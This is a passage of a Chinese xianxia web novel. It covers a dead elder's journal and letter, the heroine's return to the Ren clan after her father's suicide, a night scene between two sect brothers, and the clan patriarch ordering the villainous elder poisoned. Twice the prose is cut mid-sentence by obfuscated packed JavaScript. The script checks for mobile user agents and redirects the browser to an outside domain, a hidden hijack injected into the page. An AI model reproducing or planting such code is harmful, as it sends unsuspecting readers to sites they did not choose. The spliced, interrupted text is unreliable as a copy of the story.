宁然点头,面色凝重地接过那一沓纸。三爷爷做事随意,写手记之类的东西格式基本就可以忽略,全是正文。 这份手记没有日期,还夹杂着一些流水账,一看就是他的风格。 今天天气很不好。 今天有小弟子闯祸了。 今天冰雹把我种的花全砸死了。 今天厨房做的菜怎么这么难吃,我烟帐山好歹是个大宗门,要是饭难吃的事被人传出去,那不丢人么? …… 前几页全是流水账,后面几页的内容就多了。 今天把疏云的孩子接回来了,可怜疏云英年早逝,留下然然和依依姐妹二人,老大对然然喜欢的紧,可他的喜欢,好像是某种觊觎。 我暗中调查了一番,发现老大在研究什么尸傀。那种忤逆天道的东西他也敢研究,怕不是活腻了。 不过我还是不明白,他研究这个做什么,他先前明明对疏云研究的蜉蝣草很感兴趣。 这几天我又调查了一番,结果一样。老大还在研究那尸傀,真是死性不改。 不过我还有另一个发现,他很在意然然的天赋。 今天给然然送糖人,我发现她居然在屋里睡着了,手臂上还多了一只蝎子。 我忙将那只蝎子引到自己身上。 这蝎子名为蛊蝎,可以用来控制人,除非蝎子主人主动杀死这种毒物,否则不会消失。 我不知道是谁想控制然然,但凭然然的天赋,她理应有更好的未来,而不是一昧的被人控制。 今天是引蛊蝎入体的第三日,这玩意发起疯来真疼,不过我一把年纪了,疼就疼吧。 手记到这里就结束了,接下来是一封格式并不正确的信。 然然,我不确定你看到这封信时我还在不在,你是疏云的孩子,也是我外孙女,虽然在烟帐山一直管我们叫爷爷。 青出于蓝而胜于蓝,你的天赋很好的诠释了这句话。可人心难测,我现在是弥留之际,没几个月能活了。 我和你父亲背后是任家数百条性命,着实不敢拿无辜的人冒险,你大爷爷虽然表面正常,实际上背地里已经想出人头地想得疯魔了。 他已经是烟帐山的长老了,我不知道他到底还有什么放不下的事,能让自己如此执着于名扬天下。 我不知道他在执着什么,但至少看清了他的真面目。共事几十年才看透一个人,我就算死也死的明明白白了。 可惜是用命换来的,见不到你以后的样子了。 如果你看到一封信时我还在,那就去鉴天谷,找谷主;如果我不在了,回任家,不要再回烟帐山。 你的一生还很长,别败在一个居心叵测的小人手上,不值得。 信到此结束。 宁然垂眸不语,片刻后,她竟然将信扔到火里烧了,然后看着那具尸体和信纸一起化成灰烬。 “然然,你这是……”二长老瞪大双眼,没想到宁然会这样。 宁然却是一副淡然无波的样子。 “我要回任家。” 39. 三十七章 坚毅的目光里带着一股毅然赴死的决绝,可这边话音刚落,谢松意耳畔就突然想起一声清脆的碎响。 “糟了,依依!” 说时迟那时快,众人反应过来时,谢松意已经回到了客舍。 任依依正大喊救命,恰巧谢松意赶过来,一把抓住那独臂人的手腕,将对方的另一只手轻轻一扭,直接废了。 谢松意一看是熟人,也不装了,扶起身边被吓倒在地的依依,道:“挨完天谴挨我这一下又把胳膊全废了,您说您又何必呢?” 大长老慌了神,说话都有些支支吾吾:“你的意思是,天谴是你降下的?” “我得提醒您一句,我是一只没有兽形的妖,生来便是人的形态。” “你是长生?!” 大长老叫起来,紧接着,他开始摇头晃脑,像是不相信,又像是被刺激到,直到一把剑刃抵在他咽喉处,他才清醒过来。 宁然嫌恶的盯着他,冷声道:“你敢动她,我现在就杀了你。” 窗外飞进来一只蝴蝶,任子安伸手接过,蝴蝶触角晃了几下,他顿时变了脸色。 任依依歪着脑袋问“子安哥哥,是不是出了什么事?” 任子安深吸一口气,站着蹲下来轻抚着任依依的脑袋,郑重的说:“然然,依依,有件事我希望你们做好心理准备。” 宁然一个手刀打晕了大长老:“你说。” 任子安顿了顿,面色凝重:“叔父他……自杀了。” “哐啷”一声,宁然手一抖,那把锋利的剑摔在地上,随之而来的,还有任依依的哭声。 “你把话说清楚!”宁然霎时怒了,拽住任子安的衣领,怒吼起来,“什么叫我父亲自杀了?!” 任子安由她拽着,没推辞,也没反驳。 宁然虽然被送到烟帐山后没见过自己父亲几面,可到底是她父亲。 况且,三爷爷在信里说,他和父亲背后是任家数百条人命,父亲一定是有苦衷的,她要去任家问清楚,可她没机会了。 “然然,”任子安缓缓开口,“先回去吧,我们回家。” “回家?”宁然眼眶泛红,她机械地转头,哽咽道:“我爱的、爱我的都没了,你说让我回家?回家见谁?见那群只会利用我的废物么!” 任依依看到自己姐姐的反应如此之大,哭着去抓她的手,低声道:“爷爷回来了,他特别想见姐姐。” 宁然听到“爷爷”二字,激动情绪这才稍稍平复。她大手一抓,将大长老收了便飞向焱州。 任子安带着任依依紧随其后,林鹤眠等谢松意给狼妖和谢大留了封信才走。 焱州任家 宁然刚落地大厅内众人的目光就被吸引过去,不知谁喊了一声“大小姐回来了,快去通知老家主”一旁的侍卫这才呆呆傻傻地嗯了一声,麻溜跑到一边去通知老家主了。 任依依挨个拉着宁然的手把大厅内的七大姑八大姨介绍了个遍,宁然打心底对这些人没啥好印象,但碍于礼节,任依依介绍一个她笑着点一次头。 不知点了几次头,老家主终于来了。众人纷纷让出一条路,一个步履蹒跚的耄耋老人由两个侍卫搀扶着坐了主座。 林鹤眠和谢松意还有任子安此前一直处于透明状态,老家主落了座,眯着眼朝三人那边看了一下,拖着沙哑的声音缓缓开口:“你们都回去吧,明日再来,今晚有事要嘱咐然然。另外,再给子安和这两位少侠安排一个房间。” “是。”一个侍女应了一声,随后走到三人面前,伸出胳膊做了一个请的姿势,“三位请随我来。” 三人乖巧点头,跟着侍女过去了。 没多久落了一场雨,雨点打在新长出来的树叶上,把叶子洗得油绿透亮。 林鹤眠横竖睡不着,不知怎么想的,打着伞去找谢松意了。 刚巧谢松意也没睡,房间还亮着昏黄的灯光,林鹤眠敲了几下门,里面喊了一句“进”他便推门而入。 谢松意翻了一页书,看着收伞的林鹤眠,笑道:“外面下了这么大的雨,又是晚上,你不睡觉跑我这里干嘛。” “睡不着。” “所以你想让我给你讲睡前故事?” 林鹤眠不乐意了:“你把我当小孩么?” 谢松意眉梢飞扬:“你不是么?” 林鹤眠用力关了门,看得出来有点生气,但没气多久自己就好了,还是他主动开的口。 “师兄,我有一点想不明白。”林少侠很自觉地坐到谢松意对面看他看书。 谢松意头也不抬,只是推给林鹤眠一盏茶:“说。” 林鹤眠瞥茶盏一眼,茶水还冒着热气,想来是刚倒的。 “你说一个人长久使用易容术又改名换姓几十年不被发现的几率有多大?” “很小,但不是完全不可能。” “我记得师父说过,烟帐山这三位长老分别来自洛州芸州和岐州,他们都是孤儿。但买乱葬岗地皮的是焱州人,要么是大长老托人帮他买的,要么是他用自己以前的身份买的。” “你还真想到点子上了。”谢大公子毫不吝啬地夸赞自己这位小师弟,“聪明。” “我本来就不笨好么?” 谢松意坏笑起来,将手里的书推给他:“来,看会书,歇歇脑子。” 林鹤眠低头一看,书上全是古文字,不好的记忆突然涌现,他别过头,撅起的嘴都能挂瓶子了。 “行了不逗你了,你的想法没错,不过现在这不是重点。” 谢松意把书拿回来,继续道:“宁小姐的父亲自杀,这任府上下都没一点悲伤的氛围,这说明任家家主自杀是在他们的意料之中,包括老家主。” 林鹤眠沉思片刻,说:“确实。不过任家家主这一死,估计宁然是逃不掉要做家主的命了。” 谢松意听出了林鹤眠话里的意思:“你在替她惋惜?” “不应该么?我和她认识那么久了,她想做什么我还是知道的。” 谢松意皮笑肉不笑,他心底突然有种别样的滋味,像很多小蚂蚁在心脏爬过,浑身刺挠。 但他把这种不舒服忍了下来,问林鹤眠:“那你说说宁小姐想做什么。” 某小孩还没意识到自己师兄语气不对劲,居然真的在认真考虑:“她想做的事可多了,研制毒药云游四海,反正不是做家主。” “你还挺了解她。” “十几年的交情呢。” 谢松意“呵”了一声:“我要睡觉。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15014079|162084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >林鹤眠这才发现谢松意不对劲,忙钻进谢松意的被窝:“我也要睡。” “回你自己的房间。”谢松意无情踹人。 林鹤眠躲过一脚:“冷。” “倒春寒早过了!” “过了和我冷有什么关系?” 谢松意彻底无语了。 他不再理会林鹤眠,闭眼入睡,衣服都没脱。 可他压根睡不着,因为他突然觉得自己好像可以纵容林鹤眠放肆胡来了。 他想,林鹤眠虽然偶尔小孩子脾性,但说到底是个会心疼人的,内心也是软的。 母亲说父亲就是这样的人,遇到心软的人,不吃亏的。 的确,他确实很喜欢这种脾气的人。 但对林鹤眠无底线的纵容,是从什么时候开始的呢? 是他告诉自己没有变成老板那样他很开心?还是林鹤眠可以为了一个毫不相干的人时徒手抓住他那一剑? 抑或是更早之前林鹤眠像今晚这样赖在他床上的时候,也可能是因为那个该死的谣言。 总之,他觉得自己不对劲。 他好像变了,又好像没变。 他可以纵容林鹤眠肆意妄为,任由一种不知名的情感生根发芽。 谢松意突然想看看,这根嫩芽能不能开出花。 林鹤眠也躺着没睡。 他突然觉得自己好像更依赖谢松意了,不是打架是出于需要强者支援的依赖,而是想和他粘在一起。 他想让谢松意陪他一起收尸,一起斩妖除魔,他觉得能和这样的人一起一定有意思极了,即便对方是妖。 后山海棠树下的一眼惊鸿、闯烟帐山时的那句你别卷进来,还有谢松意处处微小却细心的举动,每一次都像是在他的心上挠了一下。 他喜欢这种性格的人,温和理性不失风趣。 虽然谢松意爱逗他,不过林鹤眠自己倒也不介意,有这样的人一路陪伴,他的除妖之路有趣多了。 林鹤眠不知想到了什么,突然起了鸡皮疙瘩,他抖了一下,动静不大却惊动了一旁的谢松意。 “睡个觉怎么突然发抖?” 林鹤眠随便找了个理由:“冷。” 谢松意睁开眼,侧着身子用一种你当我傻的眼神盯了林鹤眠一会,最后无奈地把被子一股脑全盖林鹤眠身上了。 林鹤眠被裹得严严实实。 “你要是还冷,那我建议看大夫。” 林鹤眠心说谢谢,你太温暖了,我已经想出汗了,再裹一层我能春天中暑。 “好好睡觉。” “你不盖被子没事吗?” “你不让我睡觉真的会出事。” “什么事?” “某人被卷着被子扔出去。” 林鹤眠不乐意了:“我好歹也是你师弟啊。” 谢松意“啧”了一声:“我还是你师兄呢,没见你多听我的。你睡不睡?” “睡。” 林鹤眠马上闭嘴了。 虽然他答应的很好,但刚才那一个激灵,让他彻夜难眠。 他也不知道自己哪根筋搭错了,居然把他对谢松意的那种感情莫名其妙的想到了爱情。 短短两个字给他愁的一宿没睡。 40. 三十八章 次日清晨 天一直阴着,林鹤眠起的不是很早,等洗漱完,外面传来一阵怒骂。 “畜牲,当初我将你逐出师门,果然是对的!” 这声音苍老而又不乏威严,一听就是老家主的。 谢松意放下书,用脸盆里的水做了一面水镜,水镜里映出的,是院子中央众人审讯大长老的画面。 林鹤眠忙过来凑热闹。 只见院中的大长老被缚了手脚跪在院中:“老家主,原来您还记得我这个被逐出去的弟子啊,真是荣幸之至。” 大长老笑得狰狞,他像个自说自话的疯子,全然不在意旁人的眼光,也没发现他们都在用一个看傻子的眼神看他。 “当年我那么优秀,却因为你一句心术不正被逐出任家,我只是想变强,我有什么错?!” 他提高了声音,仰面大笑,像是在发泄自己的受到的不公,可抬头是阴沉的天,对方并不会对他所认为的不公有半分回应。 一如当年他跪在雨中求老家主不要赶走他那样,从来不会有回应,也不该有回应。 “这个世界弱肉强食,他们败给我的毒,那是他们该死!你却要护着那些废物,选择对我的才华视而不见!” “一旦我出人头地,任家的地位超过须臾山都不是难事!您何必选择停滞不前,只做一个世家大族有什么好的,发展成名门大派岂不是更为人所知?” 老家主情绪激动,话还没出口,就先咳嗽起来,他咳得脸颊发红,仿佛要把肺咳出来。 “你个疯子!这不是你残害无辜的借口!他们是比你弱,但这不能成为被你肆意杀戮的理由,他们是活生生的人!生命是用来被尊重的,不是成为你出人头地的垫脚石的!” “您看,过了这么久,您还是会选择无视我的才华。我离开任家,用易容术去烟帐山,又改名换姓,从一个无名弟子做到如今的位置,我那么努力那么优秀,几十年过去了,您还是不认可我!” 天空一声闷雷,漂泊大雨倾泻而出,把大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15014080|162084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长老里外浇了个透。 老家主年事已高,他不想在往事上斤斤计较,可事关自己的亲人,他最终还是采取了最公正的处理措施。 他抬了抬手,侍卫以迅雷不及掩耳之势一个手刀打晕了大长老,然后迅速回到老家主身边。 “烟帐山那边怎么说?”老家主在椅子上闭了眼,等待一旁的侍卫回复。 侍卫展开回信,低声道:“烟帐山掌门说,他会对外宣称大长老因三长老病逝而选择云游四海,不再归山。” “是么?”老家主睁开双眼,缓缓直起身子离开,“赐他毒药。” “是。”侍卫扶着老家主起身。 那个佝偻的背影已经走出好几步,又突然回过头来,补了一句:“记得把脸毁了,衣服换掉,丢到乱葬岗别让人认出来这是谁。等解决了,着手天明的葬礼。” 侍卫冲他行礼:“属下遵命。” 宁然和任子安全程看着没说过一句话,两个人在老家主面前根本没说话的份。